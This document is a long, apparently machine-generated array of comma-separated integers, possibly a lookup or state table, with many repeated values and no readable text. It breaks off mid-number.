8,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22728,18836,28747,28782,28817,28841,28857,28880,28896,24161,28943,32011,36261,27340,28961,29492,28982,29011,24522,29027,25436,29048,23051,27500,29090,29110,30713,18888,23512,29130,25183,27211,29155,28927,27033,29173,23230,24401,29199,35373,31693,18888,18888,25583,32629,29218,27211,27211,31461,30692,29237,27075,24401,24401,24401,29262,29302,19628,18888,34329,18888,18888,23086,27211,29329,27211,27211,30756,24012,35933,24401,24401,24401,27705,31612,18888,18888,29346,29374,27211,35650,17590,21436,29393,24401,25970,18887,33895,18888,27211,32528,27212,24016,32769,19868,25659,18888,26889,27211,27211,29412,23889,24371,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31768,19840,25783,31738,19837,29435,29508,31102,29550,29606,22105,30300,29462,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22743,18836,22059,29629,29473,34097,33285,29183,29651,27254,18888,29678,33329,32535,27211,29694,29716,22121,19202,24401,32742,29741,18866,26776,33921,28474,18888,18888,25783,29766,27211,29809,27211,35072,22164,35825,24401,29828,24401,24036,36769,25217,18888,18888,29848,18890,27211,29871,27211,26258,27211,29894,24401,29929,24401,36587,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,29725,29962,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18473,18888,18888,19584,27211,27212,24016,29982,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19902,19447,32052,19544,19828,29998,30097,30031,19840,25783,30047,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,30075,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22758,18836,30121,30156,30206,30257,30273,30336,22087,35624,32837,25762,18890,29878,34934,26812,27211,22121,24931,23223,29202,24401,18866,34373,30352,18888,18888,18888,23447,24828,27211,27211,27211,35072,30370,35052,24401,24401,24401,24036,29523,18888,18888,27146,18888,31308,30386,27211,27211,30405,30558,19484,30427,24401,24401,29938,35686,19628,28766,30447,34506,35614,23086,28731,30482,30517,30552,30756,24012,20156,30574,30598,30667,26283,33464,28945,27670,30687,32915,33504,25328,17590,23963,20450,33837,21016,32397,26300,30708,30729,27885,30748,21588,36373,30779,26653,24628,33220,32514,30806,31835,25412,25906,26515,18890,28825,31833,26133,19447,28304,31730,23834,26057,30869,30885,32181,30920,30942,32797,25782,30970,31015,23516,31008,30997,31034,27963,19659,29450,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22773,18836,31058,31074,32463,31125,31141,31197,22087,18888,29534,35471,36738,27211,24342,31213,24424,22121,24401,20175,31229,31917,27736,31245,34334,27175,18888,29094,27286,27211,31278,31336,27211,31355,31371,24401,31402,31418,24401,31437,31693,18888,31619,32841,18888,18890,27211,27211,31460,31477,27211,19484,24401,24401,31497,36581,24401,33020,18888,18888,18888,18888,30007,27211,27211,27211,27211,31516,32310,24401,24401,24401,24401,31539,18888,28762,18888,24651,35740,27211,27211,28644,31565,35796,24401,24401,19318,32188,18888,24334,28366,27212,29966,29832,19868,25659,18888,18889,27211,27211,19719,31587,19868,31635,32435,33693,30105,31663,20005,31715,31757,31784,31812,30015,31851,31878,25783,31898,19837,25782,19760,31015,23516,31008,22105,19419,27963,31933,30221,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22788,18836,22059,25729,30466,31968,24306,31984,32e3,32807,35160,27017,29590,34941,19801,29377,33700,22121,27040,30431,29396,28864,29565,18888,18888,18888,32027,18888,25783,27211,27211,23698,27211,35072,22164,24401,24401,30845,24401,24036,32045,18888,26929,18888,18888,18890,27211,31481,32068,27211,27211,32088,24401,33058,32122,24401,24401,33736,18888,18888,33162,18888,23086,27211,27211,29484,27211,28375,32144,24401,24401,33831,24401,26750,18888,18888,18888,27855,27211,27211,27211,36704,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,33107,22171,33224,24271,32169,31017,27856,31741,19840,25783,31738,30234,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,32204,32232,32252,32677,33295,29074,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,23619,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,32276,24401,24401,24401,24401,24036,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,32299,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,33886,18889,36065,27211,19719,35326,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22803,18836,32335,31647,34666,32351,32367,32417,22087,18888,32433,19335,32451,27211,32479,27107,32500,22121,24401,32551,20085,32572,18866,22287,23753,18888,18888,32602,32665,27211,32693,27211,26972,32713,32729,24401,32764,24401,25877,32785,34768,18888,27390,32823,24594,24855,32857,24890,32878,32904,27211,32942,32977,24401,33e3,29313,24401,30790,26206,27666,33904,18888,23086,36353,27211,33036,27211,30756,24012,32153,24401,33056,24401,35861,18888,18888,30354,27972,27211,27211,33800,17590,20145,24401,24401,34638,20811,18888,18888,33074,27211,27212,36167,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,34616,24169,33093,33123,33157,27856,31741,23862,26552,34302,19837,25782,19760,31015,23516,31008,33178,19973,27963,23497,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22818,18836,33205,28113,33240,34097,33275,29183,22087,33318,35438,18888,18890,33345,26391,33382,27211,22121,33399,28072,33442,24401,18866,22232,18888,33459,18888,18888,33480,33498,25175,27211,27211,26704,22164,24775,35239,24401,24401,25914,29580,18888,18888,31109,25211,33520,33539,27211,27211,33556,36284,19484,33585,24401,24401,33604,32556,19628,18888,18888,31262,33658,23086,27211,27211,33679,27211,30756,24012,24401,24401,33716,24401,26854,27480,18888,33752,27855,33259,34701,27211,17590,32102,24782,23807,24401,18887,18888,18888,27211,27211,27212,33773,36105,19868,25659,18888,23368,27211,29157,19719,23889,34454,29286,18890,33794,25302,33816,19447,34079,33853,31862,31017,27856,31741,33877,28920,33937,19837,30461,34002,22276,36041,34029,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22833,18836,34064,32616,34113,34141,34157,34192,34208,32216,36013,31549,31952,34224,34248,34287,29330,34350,34389,34413,34481,26793,18866,26187,29635,22293,18888,36654,25783,34522,34544,34566,25821,35072,22164,34586,34609,34632,19604,24036,36644,36674,24681,18888,32401,34654,31339,34682,34698,27211,34717,34753,28053,34812,34836,24401,33619,19628,34858,32236,34906,24598,33523,27612,34890,34922,24732,29246,36717,33634,34465,32984,34168,26750,34957,18888,18888,34994,35010,27211,33040,17590,29913,35035,24401,36304,25482,30171,35883,35068,35088,26627,20441,31173,35123,35143,35176,24640,30492,29358,19719,35192,35219,25384,28801,35255,35279,32586,34496,23086,23330,29061,31017,27856,31741,19840,25783,31738,24547,25164,35315,31796,35353,34316,22105,19419,27963,24091,28630,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22848,18836,22059,34782,34088,35389,21008,35405,35421,35454,18888,18888,23466,35487,27211,27211,27211,35513,31154,24401,24401,24401,35560,18888,26863,36664,35601,24872,25783,30389,23536,26250,35647,35666,22164,19522,19564,30582,35682,27697,35575,29114,18888,18888,18888,18890,27211,35702,27211,27211,27211,35723,24401,35527,24401,24401,24401,19628,30184,18888,18888,18888,23086,35739,27211,27211,27211,29139,22938,24401,24401,24401,24401,23898,35756,18888,18888,25025,35778,27211,27211,17590,20064,35795,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,23917,18890,34550,31833,22262,19447,23086,23330,26418,31017,27856,31741,19840,25783,35812,19837,27187,35841,33135,23516,31008,22105,22148,28712,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22863,18836,22059,35877,28723,34097,31164,29183,22087,26758,18888,22592,18890,23989,27211,29812,27211,22121,33778,24401,31421,24401,18866,18888,18888,26872,18888,18888,25783,27211,30732,27211,27211,35072,22164,24401,24908,24401,24401,24036,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22878,18836,22059,27837,27857,35899,24401,35915,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,31602,18888,18888,18888,18888,26223,27211,27211,27211,27211,27211,19484,35931,24401,24401,24401,24401,19628,18888,28136,18888,18888,35949,27211,32862,27211,32697,30756,24012,24401,32283,24401,32128,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22893,18836,22059,35974,34882,34097,33960,29183,35996,18888,23311,18888,36029,27211,27211,36064,36081,22121,24401,24401,36104,33950,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,36121,18888,25559,18888,18888,18890,27211,27211,30313,27211,27211,36154,24401,24401,34397,24401,24401,19628,28250,18888,18888,18888,23086,30926,27211,27211,27211,26983,24012,33642,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,19354,27857,36190,24401,36206,22087,18888,18888,18888,18007,27211,27211,27211,24724,22121,24401,24401,24401,30827,18866,18888,36222,18888,28795,18888,25783,35100,27211,27429,27211,35072,22164,30836,24401,24499,24401,24036,31693,18888,36244,18888,18888,18890,27211,36088,27211,27211,27211,19484,24401,28036,24401,24401,24401,19628,18888,18888,35631,18888,35762,27211,27211,36277,27211,34730,24012,24401,24401,36300,24401,36320,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,25712,18888,18888,36346,27211,27212,19184,24402,19868,25659,32029,18889,27211,33359,19719,23889,36369,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22384,18836,36389,19008,19233,20367,36434,17173,17595,36437,17330,17349,18921,17189,17208,17281,20355,36453,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,20362,21726,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22369,18836,18987,19008,19233,20367,19008,21737,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21813,18836,36489,19008,19233,20367,19008,17173,17737,36437,17330,17349,18921,17189,17208,17281,20355,17768,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,20543,22022,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21828,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,36517,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21828,18836,19307,18888,27857,30756,24401,29183,28015,18888,18888,18888,18890,27211,27211,27211,27211,36567,24401,24401,24401,24401,22953,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,28537,36603,24401,24401,24401,24401,24036,18881,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,1759